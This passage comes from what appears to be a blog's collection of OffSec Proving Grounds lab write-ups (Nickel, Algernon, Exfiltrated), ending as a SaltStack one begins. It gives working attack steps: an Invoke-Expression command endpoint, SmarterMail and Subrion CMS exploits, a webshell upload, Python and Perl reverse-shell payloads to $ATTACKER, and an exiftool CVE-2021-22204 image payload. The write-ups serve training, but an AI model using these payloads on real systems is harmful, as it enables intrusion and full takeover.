href=\u0026#34;\u0026#34;$PARENTDIR\u0026#34;\u0026#34;\u0026gt;[To Parent Directory]\u0026lt;/a\u0026gt;\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;\u0026#34; } $ENTRIES = Get-ChildItem -EA SilentlyContinue -Path $CHECKDIR # Directories $ENTRIES | Where-Object { $_.PSIsContainer } | ForEach-Object { $HTMLRESPONSE += \u0026#34;$($_.LastWriteTime) \u0026amp;lt;dir\u0026amp;gt; \u0026lt;a href=\u0026#34;\u0026#34;$(Join-Path $REQUEST.Url.LocalPath $_.Name)\u0026#34;\u0026#34;\u0026gt;$($_.Name)\u0026lt;/a\u0026gt;\u0026lt;br\u0026gt;\u0026#34; } # Files $ENTRIES | Where-Object { -not $_.PSIsContainer } | ForEach-Object { $HTMLRESPONSE += \u0026#34;$($_.LastWriteTime) $(\u0026#34;{0,10}\u0026#34; -f $_.Length) \u0026lt;a href=\u0026#34;\u0026#34;$(Join-Path $REQUEST.Url.LocalPath $_.Name)\u0026#34;\u0026#34;\u0026gt;$($_.Name)\u0026lt;/a\u0026gt;\u0026lt;br\u0026gt;\u0026#34; } $HTMLRESPONSE += \u0026#39;\u0026lt;/pre\u0026gt;\u0026lt;hr\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#39; } } else { # Not a directory: try a file if (Test-Path $CHECKDIR -PathType Leaf) { $CHECKFILE = $CHECKDIR } } if ($CHECKFILE -ne \u0026#39;\u0026#39;) { # Static content available try { $BUFFER = [System.IO.File]::ReadAllBytes($CHECKFILE) $RESPONSE.ContentLength64 = $BUFFER.Length $RESPONSE.SendChunked = $false $EXTENSION = [IO.Path]::GetExtension($CHECKFILE) if ($MIMEHASH.ContainsKey($EXTENSION)) { $RESPONSE.ContentType = $MIMEHASH.Item($EXTENSION) } else { $RESPONSE.ContentType = \u0026#39;application/octet-stream\u0026#39; $FILENAME = Split-Path -Leaf $CHECKFILE $RESPONSE.AddHeader(\u0026#39;Content-Disposition\u0026#39;, \u0026#34;attachment; filename=$FILENAME\u0026#34;) } $RESPONSE.AddHeader(\u0026#39;Last-Modified\u0026#39;, [IO.File]::GetLastWriteTime($CHECKFILE).ToString(\u0026#39;r\u0026#39;)) $RESPONSE.AddHeader(\u0026#39;Server\u0026#39;, \u0026#39;Powershell Webserver/1.2 on \u0026#39;) $RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length) $RESPONSEWRITTEN = $true } catch { # Ignore; handle via $Error after (if needed) } } else { # No file to serve found if (-not (Test-Path $CHECKDIR -PathType Container)) { $RESPONSE.StatusCode = 404 $HTMLRESPONSE = \u0026#39;\u0026lt;!doctype html\u0026gt;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;Incorrect Parameter\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#39; } } } } # Only send response if not already done if (-not $RESPONSEWRITTEN) { # Insert header line string into HTML template $HTMLRESPONSE = $HTMLRESPONSE -replace \u0026#39;!HEADERLINE\u0026#39;, $HEADERLINE # Insert result string into HTML template $HTMLRESPONSE = $HTMLRESPONSE -replace \u0026#39;!RESULT\u0026#39;, $RESULT # Return HTML answer to caller $BUFFER = [Text.Encoding]::UTF8.GetBytes($HTMLRESPONSE) $RESPONSE.ContentLength64 = $BUFFER.Length $RESPONSE.AddHeader(\u0026#39;Last-Modified\u0026#39;, [datetime]::Now.ToString(\u0026#39;r\u0026#39;)) $RESPONSE.AddHeader(\u0026#39;Server\u0026#39;, \u0026#39;Powershell Webserver/1.2 on \u0026#39;) $RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length) } # Finish answer to client $RESPONSE.Close() # Received command to stop webserver? if ($RECEIVED -in @(\u0026#39;GET /exit\u0026#39;, \u0026#39;GET /quit\u0026#39;)) { break } } } finally { $LISTENER.Close() \u0026#34;$(Get-Date -Format s) Powershell webserver stopped.\u0026#34; } From it we get the sense that there is no command execution endpoint since the endpoint /script is not listed. But the notes from the PDF mention that /? will do so let\u0026rsquo;s test.\nTip It actually will execute commands on the endpoint /? becase it runs it with Invoke-Expression $FORMFIELD! We forward port 80 with ssh.\n1 ssh ariah@$VICTIM -L 80:127.0.0.1:80 And now let\u0026rsquo;s browse the endpoint and see if we can execute commands. Boom we are NT Authority\\SYSTEM so we basically have rooted the host. Now let\u0026rsquo;s spawn a reverse shell for this. We are going to use Base64 encoded Powershell rev shell from here and we are going to get our reverse shell.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 49872 PS C:\\Windows\\system32\u0026gt; cd C:\\Users PS C:\\Users\u0026gt; cd Administrator PS C:\\Users\\Administrator\u0026gt; cd Desktop PS C:\\Users\\Administrator\\Desktop\u0026gt; ls Directory: C:\\Users\\Administrator\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/4/2026 7:46 AM 34 proof.txt ","permalink":"https://p4n4s.com/posts/offsec/nickel/","summary":"To exploit this lab, you\u0026rsquo;ll leverage credential disclosure on a web application endpoint to gain an initial foothold. This lab helps you understand how to exploit credential disclosures, crack passwords, and bypass firewall protections for privilege escalation.","title":"PG Practice: Windows - Nickel"},{"content":"Machine Info Spoiler This lab demonstrates exploiting a remote code execution vulnerability in SmarterMail build 6985 to gain SYSTEM-level access on a Windows server. Learners will identify the application version, leverage an RCE exploit, and use a reverse shell payload to compromise the target. This lab emphasizes web application exploitation and highlights the risks of unpatched software. Administrator Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 04-29-20 09:31PM \u0026lt;DIR\u0026gt; ImapRetrieval | 03-03-26 08:10AM \u0026lt;DIR\u0026gt; Logs | 04-29-20 09:31PM \u0026lt;DIR\u0026gt; PopRetrieval |_04-29-20 09:32PM \u0026lt;DIR\u0026gt; Spool | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5040/tcp open unknown 7680/tcp open pando-pub? 9998/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | uptime-agent-info: HTTP/1.1 400 Bad Request\\x0D | Content-Type: text/html; charset=us-ascii\\x0D | Server: Microsoft-HTTPAPI/2.0\\x0D | Date: Tue, 03 Mar 2026 16:13:54 GMT\\x0D | Connection: close\\x0D | Content-Length: 326\\x0D | \\x0D | \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD HTML 4.01//EN\u0026#34;\u0026#34;http://www.w3.org/TR/html4/strict.dtd\u0026#34;\u0026gt;\\x0D | \u0026lt;HTML\u0026gt;\u0026lt;HEAD\u0026gt;\u0026lt;TITLE\u0026gt;Bad Request\u0026lt;/TITLE\u0026gt;\\x0D | \u0026lt;META HTTP-EQUIV=\u0026#34;Content-Type\u0026#34; Content=\u0026#34;text/html; charset=us-ascii\u0026#34;\u0026gt;\u0026lt;/HEAD\u0026gt;\\x0D | \u0026lt;BODY\u0026gt;\u0026lt;h2\u0026gt;Bad Request - Invalid Verb\u0026lt;/h2\u0026gt;\\x0D | \u0026lt;hr\u0026gt;\u0026lt;p\u0026gt;HTTP Error 400. The request verb is invalid.\u0026lt;/p\u0026gt;\\x0D |_\u0026lt;/BODY\u0026gt;\u0026lt;/HTML\u0026gt;\\x0D |_http-server-header: Microsoft-IIS/10.0 | http-title: Site doesn\u0026#39;t have a title (text/html; charset=utf-8). |_Requested resource was /interface/root 17001/tcp open remoting MS .NET Remoting services 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 10|2019|7|2008|8.1 (98%) OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 Aggressive OS guesses: Microsoft Windows 10 1909 - 2004 (98%), Microsoft Windows 10 1909 (93%), Microsoft Windows 10 1709 - 21H2 (92%), Microsoft Windows 10 20H2 - 21H1 (90%), Microsoft Windows 10 21H2 (90%), Microsoft Windows Server 2019 (90%), Microsoft Windows 10 20H2 (90%), Microsoft Windows 10 1903 - 21H1 (89%), Microsoft Windows 10 1803 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1 (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 11s | smb2-time: | date: 2026-03-03T16:13:55 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required From the services listed ports 9998, 7680 and 17001 seems uncommon. Looking at the web we come across SmarterMail.\nWeb - SmarterMail ─$ ffuf -u http://$VICTIM:9998/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://$VICTIM:9998/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ Download [Status: 500, Size: 36, Words: 4, Lines: 1, Duration: 321ms] Scripts [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 87ms] Services [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 84ms] api [Status: 200, Size: 5199, Words: 261, Lines: 78, Duration: 90ms] aux [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 95ms] com1 [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 82ms] com2 [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 85ms] com4 [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 86ms] com3 [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 87ms] con [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 91ms] download [Status: 500, Size: 36, Words: 4, Lines: 1, Duration: 88ms] favicon.ico [Status: 200, Size: 32038, Words: 13, Lines: 13, Duration: 33ms] fonts [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 95ms] interface [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 84ms] lpt1 [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 85ms] lpt2 [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 86ms] nul [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 96ms] prn [Status: 200, Size: 4845, Words: 140, Lines: 82, Duration: 95ms] reports [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 331ms] scripts [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 78ms] services [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 90ms] views [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 99ms] Not much from the fuzzing, looking it up online we find possible exploits but we are not sure for the version yet, but looking at details for port 17001 it hints us about CVE-2019-7214.\nTip We are going to use the above exploit but first we need to add the correct IPs for the remote host and the local host so we can get the reverse shell. Using the exploit we are able to achieve RCE and get access to SYSTEM.\n1 └─$ python 49216.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 49759 PS C:\\Windows\\system32\u0026gt; cd C:\\ PS C:\\\u0026gt; ls Directory: C:\\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/29/2020 10:37 PM inetpub d----- 4/24/2020 3:42 AM PerfLogs d-r--- 5/2/2022 7:34 AM Program Files d-r--- 5/2/2022 7:33 AM Program Files (x86) d----- 4/29/2020 10:31 PM SmarterMail d-r--- 3/3/2026 8:11 AM Users d----- 5/2/2022 7:49 AM Windows -a---- 3/3/2026 8:10 AM 2663 output.txt PS C:\\\u0026gt; whoami nt authority\\system ","permalink":"https://p4n4s.com/posts/offsec/algernon/","summary":"This lab demonstrates exploiting a remote code execution vulnerability in SmarterMail build 6985 to gain SYSTEM-level access on a Windows server. Learners will identify the application version, leverage an RCE exploit, and use a reverse shell payload to compromise the target. This lab emphasizes web application exploitation and highlights the risks of unpatched software.","title":"PG Practice: Windows - Algernon"},{"content":"Machine Info Spoiler *In this lab, we will exploit the target through an authenticated file upload bypass vulnerability in Subrion CMS that leads to remote code execution. We will then exploit a root cron job via a script running exiftool every minute. Root Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Running second nmap scan with open ports: 22,80 Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-26 17:41 CET Nmap scan report for $VICTIM Host is up (0.023s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA) | 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA) |_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Did not follow redirect to http://exfiltrated.offsec/ |_http-server-header: Apache/2.4.41 (Ubuntu) | http-robots.txt: 7 disallowed entries | /backup/ /cron/? /front/ /install/ /panel/ /tmp/ |_/updates/ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 clo Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14 Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel We are going to put exfiltrated.offsec to /etc/hosts.\nWeb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 └└─$ ffuf -u http://exfiltrated.offsec/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -recursion -recursion-depth 2 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://exfiltrated.offsec/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ 0 [Status: 200, Size: 21687, Words: 9133, Lines: 581, Duration: 126ms] .htpasswd [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 4569ms] .htaccess [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 4711ms] README.md [Status: 200, Size: 4794, Words: 314, Lines: 68, Duration: 24ms] about [Status: 200, Size: 18975, Words: 9188, Lines: 518, Duration: 266ms] actions [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 188ms] api [Status: 403, Size: 17381, Words: 8819, Lines: 464, Duration: 202ms] blog [Status: 200, Size: 19417, Words: 9378, Lines: 522, Duration: 240ms] captcha [Status: 200, Size: 1999, Words: 13, Lines: 23, Duration: 432ms] confirm [Status: 403, Size: 17406, Words: 8820, Lines: 464, Duration: 277ms] cron [Status: 200, Size: 43, Words: 1, Lines: 1, Duration: 168ms] en [Status: 200, Size: 21687, Words: 9133, Lines: 581, Duration: 206ms] favicon.ico [Status: 200, Size: 1150, Words: 10, Lines: 4, Duration: 25ms] favorites [Status: 200, Size: 18959, Words: 9170, Lines: 517, Duration: 241ms] forgot [Status: 200, Size: 20406, Words: 9469, Lines: 545, Duration: 496ms] help [Status: 200, Size: 18950, Words: 9183, Lines: 518, Duration: 288ms] icons [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 25ms] index [Status: 200, Size: 21693, Words: 9133, Lines: 581, Duration: 303ms] install [Status: 403, Size: 10, Words: 1, Lines: 1, Duration: 66ms] logout [Status: 200, Size: 21687, Words: 9133, Lines: 581, Duration: 181ms] login [Status: 200, Size: 18023, Words: 8650, Lines: 478, Duration: 265ms] members [Status: 200, Size: 25299, Words: 12282, Lines: 612, Duration: 268ms] panel [Status: 200, Size: 6163, Words: 1619, Lines: 107, Duration: 381ms] policy [Status: 200, Size: 19008, Words: 9188, Lines: 518, Duration: 246ms] profile [Status: 403, Size: 17392, Words: 8820, Lines: 464, Duration: 166ms] redirect [Status: 200, Size: 1048, Words: 194, Lines: 34, Duration: 248ms] registration [Status: 200, Size: 20800, Words: 9681, Lines: 552, Duration: 748ms] robots.txt [Status: 200, Size: 142, Words: 9, Lines: 8, Duration: 24ms] search [Status: 200, Size: 19398, Words: 9258, Lines: 533, Duration: 265ms] server-status [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 22ms] sitemap.xml [Status: 200, Size: 637, Words: 6, Lines: 4, Duration: 21ms] tag [Status: 200, Size: 18905, Words: 9178, Lines: 517, Duration: 238ms] terms [Status: 200, Size: 18995, Words: 9193, Lines: 518, Duration: 204ms] updates [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 41ms] web.xml [Status: 200, Size: 104, Words: 5, Lines: 3, Duration: 126ms] webpack.manifest.json [Status: 200, Size: 76, Words: 4, Lines: 1, Duration: 82ms] From the fuzzing and the image we see we explore the endpoints. Nothing too interesting other than the login. We will try default creds admin:admin and it\u0026rsquo;s going to work giving us access to the admin user. Browsing as admin we end up in the admin panel /panel. We can clearly see that it is Subrion CMS version 4.2.1. Looking online we find CVE-2018-19422 which can give us RCE.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 └─$ python cve-2018-19422.py -u http://exfiltrated.offsec/panel -l admin -p admin [+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 [+] Trying to connect to: http://exfiltrated.offsec/panel/ [+] Success! [+] Got CSRF token: tyVeGsbrLIdT2EK7k9AirEDHwLf1g2bSs637ys81 [+] Trying to log in... [+] Login Successful! [+] Generating random name for Webshell... [+] Generated webshell name: hmfxtckvtjrwlwb [+] Trying to Upload Webshell.. [+] Upload Success... Webshell path: http://exfiltrated.offsec/panel/uploads/hmfxtckvtjrwlwb.phar $ whoami www-data $ ls hmfxtckvtjrwlwb.phar $ pwd /var/www/html/subrion/uploads $ cd / $ ls hmfxtckvtjrwlwb.phar $ pwd /var/www/html/subrion/uploads $ bash $ ls hmfxtckvtjrwlwb.phar $ cd /home $ ls hmfxtckvtjrwlwb.phar $ ls -al total 24 drwxr-xr-x 4 www-data www-data 4096 Feb 26 16:56 . drwxr-xr-x 13 www-data www-data 4096 Jun 10 2021 .. -rwxr-xr-x 1 www-data www-data 656 Jun 14 2018 .htaccess drwxr-xr-x 2 www-data www-data 4096 Feb 26 16:56 .quarantine drwxrwxrwx 2 www-data www-data 4096 Feb 26 16:56 .tmb -rw-r--r-- 1 www-data www-data 31 Feb 26 16:56 hmfxtckvtjrwlwb.phar $ ls -al total 24 drwxr-xr-x 4 www-data www-data 4096 Feb 26 16:56 . drwxr-xr-x 13 www-data www-data 4096 Jun 10 2021 .. -rwxr-xr-x 1 www-data www-data 656 Jun 14 2018 .htaccess drwxr-xr-x 2 www-data www-data 4096 Feb 26 16:56 .quarantine drwxrwxrwx 2 www-data www-data 4096 Feb 26 16:56 .tmb -rw-r--r-- 1 www-data www-data 31 Feb 26 16:56 hmfxtckvtjrwlwb.phar $ ls -al /home total 12 drwxr-xr-x 3 root root 4096 Jun 10 2021 . drwxr-xr-x 20 root root 4096 Jan 7 2021 .. drwx--x--x 2 coaran coaran 4096 Jun 10 2021 coaran $ python3 -c \u0026#39;import os,pty,socket;s=socket.socket();s.connect((\u0026#34;$ATTACKER\u0026#34;,4446));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\u0026#34;bash\u0026#34;)\u0026#39; We will upgrade our shell with a python based reverse shell. Tip rlwrap before the nc listener, will enhance the shell, allowing us to clear the screen with CTRL+L. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 └─$ rlwrap nc -lnvp 4446 listening on [any] 4444 ... ls connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 45424 www-data@exfiltrated:/var/www/html/subrion/uploads$ www-data@exfiltrated:/var/www/html/subrion/uploads$ ls hmfxtckvtjrwlwb.phar www-data@exfiltrated:/var/www/html/subrion/uploads$ ... www-data@exfiltrated:/var/www/html/subrion/includes$ cat config.inc.php cat config.inc.php \u0026lt;?php /* * Subrion Open Source CMS 4.2.1 * Config file generated on 10 June 2021 12:04:54 */ define(\u0026#39;INTELLI_CONNECT\u0026#39;, \u0026#39;mysqli\u0026#39;); define(\u0026#39;INTELLI_DBHOST\u0026#39;, \u0026#39;localhost\u0026#39;); define(\u0026#39;INTELLI_DBUSER\u0026#39;, \u0026#39;subrionuser\u0026#39;); define(\u0026#39;INTELLI_DBPASS\u0026#39;, \u0026#39;target100\u0026#39;); define(\u0026#39;INTELLI_DBNAME\u0026#39;, \u0026#39;subrion\u0026#39;); define(\u0026#39;INTELLI_DBPORT\u0026#39;, \u0026#39;3306\u0026#39;); define(\u0026#39;INTELLI_DBPREFIX\u0026#39;, \u0026#39;sbr421_\u0026#39;); define(\u0026#39;IA_SALT\u0026#39;, \u0026#39;#5A7C224B51\u0026#39;); // debug mode: 0 - disabled, 1 - enabled define(\u0026#39;INTELLI_DEBUG\u0026#39;, 0); www-data@exfiltrated:/var/www/html/subrion/includes$ From the initial enumeration we found that there is a user on the host but couldn\u0026rsquo;t get more information other than the database configuration credentials. These, though, didn\u0026rsquo;t yield in any results as we enumerated the database even from the admin panel before and didn\u0026rsquo;t find any useful information.\nLooking further we uncover the an interesting cron job running as root!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don\u0026#39;t have to run the `crontab\u0026#39; # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.monthly ) * * * * * root bash /opt/image-exif.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 cat /opt/image-exif.sh #! /bin/bash #07/06/18 A BASH script to collect EXIF metadata echo -ne \u0026#34;\\\\n metadata directory cleaned! \\\\n\\\\n\u0026#34; IMAGES=\u0026#39;/var/www/html/subrion/uploads\u0026#39; META=\u0026#39;/opt/metadata\u0026#39; FILE=`openssl rand -hex 5` LOGFILE=\u0026#34;$META/$FILE\u0026#34; echo -ne \u0026#34;\\\\n Processing EXIF metadata now... \\\\n\\\\n\u0026#34; ls $IMAGES | grep \u0026#34;jpg\u0026#34; | while read filename; do exiftool \u0026#34;$IMAGES/$filename\u0026#34; \u0026gt;\u0026gt; $LOGFILE done echo -ne \u0026#34;\\\\n\\\\n Processing is finished! \\\\n\\\\n\\\\n\u0026#34; At first we didn\u0026rsquo;t see anything malicious and indeed there isn\u0026rsquo;t but we saw then the version of the tool.\n1 2 3 www-data@exfiltrated:/opt/metadata$ exiftool -ver exiftool -ver 11.88 Looking it up online we find CVE-2021-22204. We will use is to spawn a reverse shell as root.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 python cve-2021-22204.py -s $ATTACKER 4448 payload = \u0026#34;(metadata \\\u0026#34;\\c${\u0026#34; _ __,~~~/_ __ ___ _______________ ___ ___ ,~~`( )_( )-\\| / / / / |/ / _/ ___/ __ \\/ _ \\/ _ \\ |/| `--. / /_/ / // // /__/ /_/ / , _/ // / _V__v___!_!__!_____V____\\____/_/|_/___/\\___/\\____/_/|_/____/.... RUNNING: UNICORD Exploit for CVE-2021-22204 PAYLOAD: (metadata \u0026#34;\\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\u0026#39;tcp\u0026#39;));if(connect(S,sockaddr_in(4448,inet_aton(\u0026#39;$ATTACKER\u0026#39;)))){open(STDIN,\u0026#39;\u0026gt;\u0026amp;S\u0026#39;);open(STDOUT,\u0026#39;\u0026gt;\u0026amp;S\u0026#39;);open(STDERR,\u0026#39;\u0026gt;\u0026amp;S\u0026#39;);exec(\u0026#39;/bin/sh -i\u0026#39;);};};\u0026#34;) RUNTIME: DONE - Exploit image written to \u0026#39;image.jpg\u0026#39; └─$ ls 50011.sh cve-2018-19422.py exploit-CVE-2021-22204 rev.php admin.hash cve-2021-22204.py image.jpg └─$ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... $VICTIM - - [27/Feb/2026 22:54:05] \u0026#34;GET /image.jpg HTTP/1.1\u0026#34; 200 - 1 2 rlwrap nc -lnvp 4448 listening on [any] 4448 ... We transfer the image.jpg malicious image file to the victim host.\n1 2 www-data@exfiltrated:/opt/metadata$ wget http://$ATTACKER/image.jpg -O /var/www/html/subrion/uploads/image.jpg Saving to: ‘/var/www/html/subrion/uploads/image.jpg’ 1 2 3 4 5 6 7 8 9 10 └─$ rlwrap nc -lnvp 4448 listening on [any] 4448 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 39662 /bin/sh: 0: can\u0026#39;t access tty; job control turned off # whoami root # cd /root # ls proof.txt ```s ","permalink":"https://p4n4s.com/posts/offsec/exfiltrated/","summary":"In this lab, we will exploit the target through an authenticated file upload bypass vulnerability in Subrion CMS that leads to remote code execution. We will then exploit a root cron job via a script running exiftool every minute.","title":"PG Practice: Linux - Exfiltrated"},{"content":"Machine Info Spoiler This lab demonstrates exploiting a pre-auth remote code execution vulnerability in SaltStack Master (CVE-2020-11651). Learners will leverage the SaltStack API to execute arbitrary commands, resulting in a root shell on the target. This lab highlights the risks of unpatched critical vulnerabilities in infrastructure management tools. Root Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Starting 